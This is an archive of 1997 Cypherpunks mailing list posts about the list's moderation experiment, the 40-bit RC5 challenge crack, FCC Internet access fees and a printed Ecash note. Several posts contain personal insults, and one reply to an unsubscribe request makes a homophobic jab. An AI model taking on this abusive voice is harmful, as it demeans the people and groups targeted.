> My advice is to stay clear of any cryptosystem that relies on factoring
> being hard. I'll send you pointers to some very interesting new work
> based on the zeta function in private e-mail when I dig it up (please
> remind me if/when I forget this promise). 

> I'm reluctant to say anything crypto-relevant on this defunct
> mailing list because last time I did, the moderator repeatedly cited
> it as evidence that his moderation works.

I agree, Sandy said something like "look see even Vulis has started
posting crypto relevance therefore moderation works" in one of his
defenses of the moderation experiment.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 01:40:27 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: offer of unmoderated list home (was Re: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net)
In-Reply-To: <199702050742.XAA18655@toad.com>
Message-ID: <199702070926.JAA00135@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Allen, that post had a garbled header, and some people may have missed
it, so I'll repost (your cc line was broken also, being in the subject
field, so I've added your cc line in):

: Allen Smith <EALLENSMITH@ocelot.Rutgers.EDU> forwards with permission
: Lance Cotrell's email:
:
: Lance Cottrell <loki@infonex.com> writes in email to Allen:
: >I would be happy to donate the resources to run Cypherpunks off our system.
: >We could set up the list provided we were given a list of subscribers. I
: >assume it would be unmoderated.
: >
: >	-Lance
: >
: >>	Hi. I don't know how much you've been keeping up with
: >>the discussion on cypherpunks, but there is a current proposal
: >>to distribute the list onto several different servers. I would
: >>be willing to pay for 100 subscribers to run on the cyberpass.net
: >>server, provided that somebody else (e.g., Igor Chudov) set up
: >>the system initially and was available for assistance later. Any
: >>problems on your end?
: >>	[...]
: >>	Thanks,
: >>	-Allen

I'd argue for waiting to see the outcome of the moderation experiment,
before rehoming the list.

The multiple host system proposed by Igor sounds like a good idea in
any event.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 01:30:47 -0800 (PST)
To: tcmay@got.net
Subject: Which list am I on?
Message-ID: <19970207093042.7371.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


I thought I was on the cypherpunks edited list.  However, I appear to
have seen some of the messages that Tim says got lost.  Moreover, I
keep getting ASCII art messages flaming someone with the initials DLV
(though I haven't seen any more of the TCM flames [I haven't looked
too hard, either]).  My mail headers have:

>From cypherpunks-errors@toad.com  <date>
>Sender: owner-cypherpunks@toad.com

Now I'm really confused.  Which list am I on?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 7 Feb 1997 06:37:59 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702062301.PAA02248@toad.com>
Message-ID: <v03007809af206481de31@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


	The alway-informed Prof. Froomkin <froomkin@law.miami.edu> asked:

>This would be the same Strassmann who stated in public at Harvard early in
>1995 that most remailers were run by intelligence agencies such as the
>KGB, then denied saying it when asked for substantiation?   And cut it
>from his paper?

	Don't know that one, but it seems feasible.  Strassmann had the
status to speak at Harvard; probably the K school.  (He's also an
interesting author, really worth a read; despite this recent balderdash.)
I kept a clip from an interview with him for years: after the bomb attack
on the World Trade Tower he proclaimed that a "Electronic Pearl Harbor"
attack on the US was inevitable.  The only question, he said, was when. Not
if.

	(It was a usefully overheated hook for some article on compsec, but
I don't think I ever used it.  Reminded me too much of warnings that
someone was bound to someday taint the city water reservoir with LSD;-)

	As I recall, that piece also quoted him as saying that he knew of
an incident where some group had held a major banking institution ransom
with a threat to destroy their data files somehow.  He refused to identify
the institution or otherwise give any further details about the incident.
Came to mind a few months back, when Winn Schwartau was firing off (also
overheated) missives from Europe reporting, with scant detail, that several
UK or European banking institutions had paid off millions when subjected to
similar blackmail.

> {...} there is some debate about the extent to which in
>*intelligence gathering* as opposed to, say, trying to crack a banking
>protocol, one can reasonably count on a known plaintext.  And much debate
>about the processing costs of not having one, especially when one doesn't
>know what kind of document is being encrypted (e.g. is it ASCII plaintext?
>a spreadsheet? a jpeg? etc.).  I think that's his (misdirected) point.

	The latter is a interesting debate -- but, as you note, not really
relevant in this case, where Strassmann proclaims:

>>In summary: The claim of exportable cryptography being totally
>>insecure, because it can be cracked in 3.5 hours is not
>>realistic. The three clues announced in the contest
>>would not apply  under infowar conditions.

	Now, an international institution which buys and bets the bank upon
US-exportable (40-bit) cryptography probably deserves what it has bought:
espionage-enabled software designed for fast and cheap decryption by spooks
and sundry college kids with access to a handful of machines.  The original
annoucement of the RSA Secret Key Challenge declared forthrightly that even
56-bit keys -- whatever the algorithm! -- offer only "minimal" security.
(What Goldberg did in hours, many could do in a days or weeks with much
less equipment.  A 40-bit key length offers a universe of about, what? a
trillion possible keys.)

	And while there might be debate as to how hard it is to attack
cyphertext when the attacker doesn't know _anything_ about the message (not
its data format; not the language being used; nothing!) there is really
none about the fact that -- with virtually any piece of that puzzle -- the
attack becomes relatively straightforward.  A big job for a little machine,
but conceivable: grab a key, decrypt, and then match for the right stats.

	Rare indeed is the commercial message, or even the typical
government transmission, where its original digital format is not easily
guessed -- if not known for certain. That is the contemporary, real-world,
infowar/infocrime environment.

	To a machine -- which is, after all, looking for a statistical
pattern in the results, not "meaning" -- knowing that the message is in
English (and/or coded in ASCII) is functionally equivalent to an
old-fashioned human codebreaker being given a matched plaintext/cyphertext
sample.  Given that much, the computer doesn't need the plaintext!  It's
counterintuitive to the layman, but one would expect a savvy systems guy
like Strassmann to know this cold.  Even my son, at 4, understands that a
computer manipulates the fodder fed it only in terms of ones and zeros.

	Statistics, not the "plaintext" clue, reveal who dun it... to the
machine.

	Clue #3 -- "the giveaway."  Lord help us!  Paul Strassmann has
probably taught a generation of the DC InfoWar accolytes how to think about
this stuff!!!

	Hopefully their kids can re-educate them.

	Suerte,
		_Vin


         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 06:56:16 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: alt.cypherpunks (was: Re: My Departure, Moderation, and "Ownership of the List")
In-Reply-To: <199702040156.RAA09634@toad.com>
Message-ID: <199702071446.JAA12464@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Adam" == Adam Back <aba@dcs.ex.ac.uk> writes:

Adam> Perhaps it is time to reconsider the benefits of
Adam> alt.cypherpunks.  (As an aside, it is ironic that John Gilmore
Adam> was the guy who started the alt.* USENET hierarchy, specifically
Adam> to facilitate freedom of speech).

This would have another benefit.  More sophisticated tools exist for
filtering usenet than for filtering email in a voluntarily cooperative
way.  For example, I use a fairly extensive .procmailrc file to filter
my email, and blow away stuff that's either spam or a post from
someone I consider a blathering idiot.  There are some other folks on
the list who likely do the same thing, and there are some whose
.procmailrc files I'd like to see, and likely include in my own.  But
there's no easy way to do that.

With alt.cypherpunks, anyone who wishes to "help kill noise" could
simply issue a NoCeM report, and those of us with reasonable
newsreaders would be able to "listen" to the reports from people with
whom we want to cooperate.  And we can ignore the rest.  

The beauty of this scheme is that the control of the list is in the
hands of the individual reader, without requiring huge amounts of
redundant effort.

It's also occurred to me that there can be folks who NoCeM the NoCeM
reports :-)

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtAVX6R34u/f3zNAQEFBQf9F6K+47WukspV3BU3E5+/hR9ARVc0cGt5
1zTwkipAqGOZeXMm4//vPYh/q9DyKzV2VLLr/sY7cRiBCypv2BP8y8e8dqkK0eYq
LGaLpmF5IGomJA2iCLYmgQAWJrdhKIBxwyuX0hyDwjTvOF/S4BSV2x1b0dR3q1RB
goV/3vqvxpEan/iy53M+rMAaYffb4s+TRslIJY5ct1ddx+5aeQGOAmgnGWToK1Ja
5ZLYUwkLQ1By14FxC4451uJDHxARNZcKVuu/dcfH+oWYQFrTo9CPi+7Ykpyyxz8X
0v68Gj57xEdnVgz6XshMY3NHOhiIcCuQQSJ1LjkLSfuV9ZzXuiMKQw==
=2ckb
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Fri, 7 Feb 1997 07:24:15 -0800 (PST)
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041942.LAA04370@toad.com>
Message-ID: <199702071513.KAA12494@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "Jeff" == Jeff Barber <jeffb@issl.atl.hp.com> writes:

John> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
John> month.  I'll admit I made it easy for them, but the results are
John> conclusive.  There are 1311 addresses in the cypherpunks list
John> today; 42 in the unedited list; and 19 in the flames list.

Jeff> "Conclusively" this has shown only that most folks are willing
Jeff> to go along with an experiment -- especially if it requires them
Jeff> to do exactly nothing.

This is precisely the category into which I fall.  It is a pain to
unsubscribe from a list, since my "From_" header doesn't agree with my
"From:" header (the former has a specific host included, the latter
only a zone), and this often triggers a message to the list owner for
processing.

In any case, I am willing to go along with the experiment.  But a
NoCeM-style approach to killing the noise is much more preferable.
Failing that, an individual filter (such as procmail) is good.  In any
event, the responsibility of what to post and what to read should be
in the hands of each reder individually.

- -- 
Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Hacker Security Firewall Crypto PGP Privacy Unix Perl Java Internet Intranet

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBMvtGmH6R34u/f3zNAQFQbwf9HYoT51vkHSjSJOnzXcphD7WLoOEq8WV1
rj33PUweZiibTyZg1JADdbS09QVgl80TE90YDJGQ/c77wwBuMKiJTVAz8jaixjCK
kUJ6IiQ4Ul3Q1LfyM5iC/kphQc/ILld0PHpaZl104pLoJ13rK6FCzMaQd+MZpWoJ
ZLWxrKaebFF5IH0dW9avJ3Vb5Kp+6OSGmpBwooFiq+nhuUCaeAZtOAwmutDM5d1g
oDTXGmdFuDLzjAuLcQnNAwc/nRd0bBLj3b3KFYkOzNjnl3BjOw3s4XVMF4sELOCX
aOnxZE/u7lP3HkAQtJ+PxHgthUbODE0ixDU0iuWSrDVm8gRAe4Xm0A==
=78/T
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 02:49:06 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re: unimbibing
Message-ID: <855398161.106230.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!
> I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

I participate in this list to discuss cryptography and related 
issues. If you have been reading posts discussing large genitalia you 
are probably confusing list traffic with private email from your gay 
friends.

Here are instructions telling you how to unsubscribe:


To unsubscribe from the cypherpunks mailing list:

Send a message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks you@your.domain.com


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 11:14:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702071913.LAA15166@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 07 Feb 1997 07:13:18 -0800
From: Dale Thorn <dthorn@gte.net>

:When I was in the Perot camp

Gotta be Dale!

A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense.

Pablum for the c'punk masses.

Ciao





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 03:21:24 -0800 (PST)
To: mark@infolawalert.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <199702071115.LAA00460@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Mark <mark@infolawalert.com> writes:
> I'm almost certain that Murray is a consultant rather than
> or in addition to an accountant. He's been saying these things
> for years at conferences, in papers, on mailing lists, etc.

To get the definitive version I asked him what his relationship to DT
is (I got his email address from a sci.crypt posting), and this is
what he said:

: I am a consultant to Deloitte & Touche's information security
: practice.

So now we know.

Nice that he defended freedom to use cryptography anyway,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 7 Feb 1997 03:21:16 -0800 (PST)
To: hugh@west.toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
In-Reply-To: <199702052221.OAA05812@toad.com>
Message-ID: <199702071118.LAA00462@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Could someone who is planning to go tomorrow's cpunks physical meeting
provide a short account of the interesting news to the list?

Thanks,

Adam

> What:   San Francisco Bay Area Cypherpunks monthly physical meeting
> 
> Agenda: 11:++	setup, gossip, face feeding etc.
> 	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
> 	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
> 	14:00	Break
> 	14:30   Announcements, late breaking news, etc.
> 	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
> 	16:00   Why bother killing the list?, Hugh Daniel
> 		Future Meeting Planing, IPSEC Update, etc.
> 	17:00	This hour left bank for future expansion...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 11:22:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Zero-knowledge interactive proofs
Message-ID: <199702071922.LAA17740@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical 
certainty to feebleminded Timmy C. May's poison 
keyboard.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/----
               (   ) (   )
               oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Fri, 7 Feb 1997 08:25:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISPs vs Bells - Email FCC
Message-ID: <32FB57B0.122E@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Baby Bells want us to pay by the minute.  An opportunity to tell the FCC
what we think via email at isp@fcc.gov -- article follows.
*****************************************

By Michelle V. Rafter 

LOS ANGELES - Regional phone companies and Internet service providers
are waging a war of words over Internet traffic on the nation's local
telephone network and who should pay for upgrades as the online boom
continues. 

As a drama, the phone companies vs. Internet providers contest is dry,
complicated stuff, lacking the sex appeal of, say, the power struggle
between Netscape and Microsoft for control of the personal computer
desktop. 

Even so, analysts and other industry watchers counsel consumers and
businesses to take heed of the tug of war because it could affect how
much they pay to use the Internet, and ultimately, how they connect to
it. 

In one corner, Pacific Bell, Bell Atlantic and other regional phone
carriers say the growth of Internet traffic is pushing local telephone
networks to the breaking point. 

Pacific Bell, for example, says Internet surfers use its phone lines an
average of 45 minutes a day -- more than twice the amount the network
was built to handle. Heavy Internet use in Silicon Valley led to brief
service outages in that area earlier this year, the company said. 

Pacific Bell and other local phone companies say they've poured millions
of dollars into hardware improvements as a result of Internet traffic,
improvements they claim would otherwise have been unnecessary. 

To help defray costs, phone companies think providers should pay for
service on a per-minute basis, the way long-distance companies do,
rather than by the line, like other business phone customers. Internet
providers have been exempt from paying so-called access fees under a
1983 federal ruling meant to foster growth of compute data networks. 

On the other side, Internet service providers say phone companies have
it all wrong. A recent report sponsored by the Internet Access
Coalition, an industry lobby group, maintains computer traffic poses no
threat to local phone networks and that earlier phone-company studies
identifying trouble spots were based on theoretical claims and a few
areas with engineering and planning problems that could easily be
rectified. 

If Internet traffic was such a threat, phone companies wouldn't be
exacerbating the problem by jumping into the Internet access business
themselves, providers say. 

Rather than hurting phone companies, Internet traffic has been a
windfall, according to the coalition. In 1995, local phone companies
spent a total of $245 million adding 6 million residential phone lines
used primarily for Internet access, but reaped $1.4 billion in revenue
on those lines, the group said. 

If providers are required to pay access fees, they'll have no choice but
to raise their rates, which could stifle Internet growth just as it's
taking off, they say. 

Internet providers and phone companies are arguing their respective
positions in Washington, where the Federal Communications Commission is
considering the access-fee issue. 

As part of ongoing telecommunication industry reform, the FCC said in
late December it would cut access fees levied on long-distance carriers
and is investigating options for doing that. But the agency held off
making a decision affecting Internet use to allow time for parties with
an interest in the issue to present their cases. 

The FCC took the unusual step of setting up an e-mail address --
isp@fcc.gov -- consumers and others can use to send their thoughts.
Internet providers and phone companies have until Feb. 21 to submit
formal comments, and the agency is expected to make a ruling later this
year. 

Even if the FCC levies access fees on providers and companies raise
rates accordingly, it won't dampen consumers' love affair with the
Internet, some analysts said. 

If, for example, Internet providers passed through an access fee of 1
cent a minute, a subscriber spending 10 hours online a month would pay
an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
Forrester Research in Cambridge, Mass. 

"Cable TV rates have doubled in the last three or four years, we got
nothing more for it, but cable subscribership didn't go down because of
it," Goodtree said. 

On one point everyone agrees -- the nation's current analog telephone
network eventually will not be able to handle demand from Internet
users, and must be supplanted by a digital system better suited to
transmitting computer data. 

Both phone companies and Internet providers have begun working on
solutions. Phone carriers that have offered digital ISDN (integrated
services digital network) lines are stepping up their marketing efforts.
Phone companies and Internet providers are investigating a new
technology called digital subscriber line, or DSL, which routes Internet
phone traffic around analog phone-company switches into all-digital
networks. 

But inevitably, discussion of DSL and other new technologies circles
back to who'll pay for upgrades. Sky Dayton, president of Internet
provider Earthlink Networks in Pasadena, Calif., believes it is in phone
companies' best interests to spend on digital upgrades because of the
profit potential from selling them to companies such as his. 

But why should phone companies pick up all the costs when Internet
service providers will benefit, too, says Pacific Bell spokesman Bob
Deward. 

(Michelle V. Rafter writes about cyberspace and technology from Los
Angeles. Reach her at mvrafter@deltanet.com. Opinions expressed in this
column are her own.) 

Copyright, Reuters Ltd. All rights reserved




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 7 Feb 1997 11:40:20 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702071636.IAA26298@netcom19.netcom.com>
Message-ID: <Pine.SUN.3.91.970207112428.25330B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Mike Duvos wrote:

> ...Messages apparently do not get moderated in the order in
> which they are received...

All messages are filtered and posted in the order in which I
receive them.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 11:36:04 -0800 (PST)
To: lwjohnson@grill.sk.ca>
Subject: Cool Names, Lost in Flames
Message-ID: <199702071935.LAA14027@f14.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Some time ago Human Gus-Peter wrote something that went like this:

> I still think that you should just let your kids run your machine or
> just pick the guy with the coolest name, like Attila the Hun or 
> Genocide or OttOmatic.

Thanks, Human Gus-peter.  I think my name is cool also.  

I am only suscribeed to the flames list, because my uncle (a secret guy) reads
the CENSORED list.  This way we can see what the other secret guys are up to,
and what kind of KewL StUfF they throw into the Flames Trashcan.

Human Gus-peter, I think you should be very careful.  They throw 
everything you write into the trash.  That could mean they are watching you. 
That could be VERY bad for you.  We will see where this message goes.

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 08:51:55 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <1.5.4.32.19970207164600.006a07e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Strassmann served on the "Information Warefare - Defense"
Task Force sponsored by the Defense Science Board. He has a
Web site at: 

   http://www.strassmann.com

The IW-D report recounts most of the well-known info-war memes
to buttress its plea for more info-warfighting funds, and says that
business needs DoD protection.

It de-emphasizes the encryption debate, claiming that crypto is not 
an important part of the problem or the solution. Remailers are not 
mentioned.

Short and long versions of IW-D: 

   http://jya.com/iwd.htm

Winn Schwartau's infowar.com offers it too.

SAIC was generously represented on the Task Force: Strassmann,
Bellcore's head, a couple more. As well as others committed to "raising
the bar" against attack on Info-Maginot: 

   http://jya.com/iwdaff.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 7 Feb 1997 11:57:00 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Which list am I on?
In-Reply-To: <199702071829.LAA19644@infowest.com>
Message-ID: <Pine.SUN.3.91.970207114116.26267A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Attila T. Hun wrote:

>     no way to tell what list your receiving from; the software Sandy 
>     and John installed to facilitate their un-American activities is 
>     hosed.  in most cases it fails to apply the correct sender name,
>     defaulting to the main, supposedly censored list.

That's why we call it a test.  I have no software.  Everything
I'm doing is manual.  Whatever John has done is probably jerry
rigged just for the test.  

If list members opt for moderation, more effort will be put into
the moderation infrastructure.  The idea right now is to see how
well a first aproximation of moderation works.  If it seems like
a step in the right direction, great.  If everyone thinks it
sucks, well that's great too.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 7 Feb 1997 11:59:27 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702071958.LAA18779@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



Can't remailers be written with basic spam safeguards?  I.e. no mass
crossposts, limited # of posts by each individual client per day, etc.?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Fri, 7 Feb 1997 12:39:18 -0800 (PST)
To: Jeremey Barrett <dev-lucre@c2.net
Subject: Re: World's first Ecash note
Message-ID: <3.0.32.19970207123804.0076b3b8@mail.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote:
>The world's first Ecash note has been printed!
>
>A USD 0.01 note made out to anyone can be found at:
>
>	http://www.veriweb.com/people/jeremey/ecash/1_cent.html
>
>The data portion of the note is a PDF417 2-D barcode, containing a
>standard ecash payment of 1 US cent. 

Congratulations to Jeremey for printing the world's first Ecash note! I
hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code"
contest. The money will be awarded this Saturday. Now, we need decoding
software. :-)

[There is a $100 reward (out of my own pocket) for the first freeware
decoder. Source required. This is a "just for fun" contest. I know that
$100 won't pay for the time spent on the project.]



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@ziplink.net>
Date: Fri, 7 Feb 1997 09:44:29 -0800 (PST)
To: infowar@infowar.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702071741.MAA20475@zip1.ziplink.net>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: 40-bit RC5 crack meaningless??
From: Peter Trei <ptrei@acm.org>

> Subject:       40-bit RC5 crack meaningless??

Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus'
"infowar" mailing list, and it was then posted by persons unknown to
the sci.crypt usenet group. Identity on the internet being the fluid
thing it is, I apologize in advance if he never sent this letter, or
if it has been modified before it reached me.

The quoted letter attempts to minimize the importance of Ian
Goldberg's recent bruteforce decryption of export-strength RC5
encryption.

In my opinon, as described below, Mr. Strassman's arguments are
without merit when applied to the situation the RSA challenges are
intended to model - the security of encrypted Internet protocols. As
such, I feel that his letter may lull some people into an unjustified
and dangerous sense of security.

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.

> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

What's the target, and who is doing the encrypting?  These "clues"
_are_ available to adversaries engaged in industrial and economic
espionage; a important part of a covert infowar.

It's certainly true that "info-terrorists or info-criminals" will not
be so easy to tap, but the absence of these 'clues' is a red
herring. They will be secure because they will use good encryption,
which is not what US firms can export today.

The challenges are realistic models of encrypted Internet protocols,
for example IPSEC with ESP data encryption. As such, they accurately
display the vulnerability of data on the Internet to espionage.

> >The following was extracted verbatim from the
> ><The RSA Data Security Secret-Key Challenge>
> >posted on <http://www.rsa.com/rsalabs/97challenge/>:
> >
> >Clue #1:
> >
> >  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> >will use 12-round RC5 with a 32-bit word size. "
> >
> >Clue #2:
> >
> >  " ...The first RC5 contest will consist of some unknown plaintext
> >encrypted using a 40-bit key;."

Clues #1 and #2 are absolutely reasonable - in an open standard, it is
absolutely normal to know the cipher being used, it's mode, and the
length of the key. See the SSL specification, or IPSEC's RFCs.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

To those who are unfamiliar with Internet protocols, this would appear
to give the cryptanalyst an unrealistic head-start. This is not the
case.  Most Internet protocols have highly stereotyped packet headers;
for example, _every_ normal return packet from a web server starts out
with the string "HTTP/1.0" (servers using something other than version
1.0 are rare as hen's teeth at the moment).  When you consider that
such a packet may contain a firm's confidential earnings predictions
or trade secrets (hopefully encrypted), the economic importance of
such data is clear.

Similar stereotyped headers exist for many other protocols, such as
NNTP and SMTP. As such, a known-plaintext attack, as modeled by
RSADSI's symmetric key challange, is quite realistic.

Even if a full known plaintext for the first block is unavailable, a
knowlegable cryptanalyst can usually make some very reasonable
assumptions which will greatly speed his or her task. (I'm assuming
DES here - which has a 64 bit block, but the argument extends easily
to other block sizes). For example, if we know that the data contains
only printable ASCII characters (true for the headers of most Internet
protocols), then for a 64 bit block, there are 8 bits which we _know_
will be zero in the decrypted block. This lets us dispose of 255 out
of every 256 incorrect trial decryptions immediately, and we will have
to perform more extensive tests on less then 0.4% of candidate keys.

Similar intelligent guesses can be made about the headers of other
protocols, for example IPSEC-secured IPv6 packet headers in tunneling
mode.

Some people have noted that the challenges include the IV, or
'initialization vector' used in CBC (cipher-block-chaining) modes of
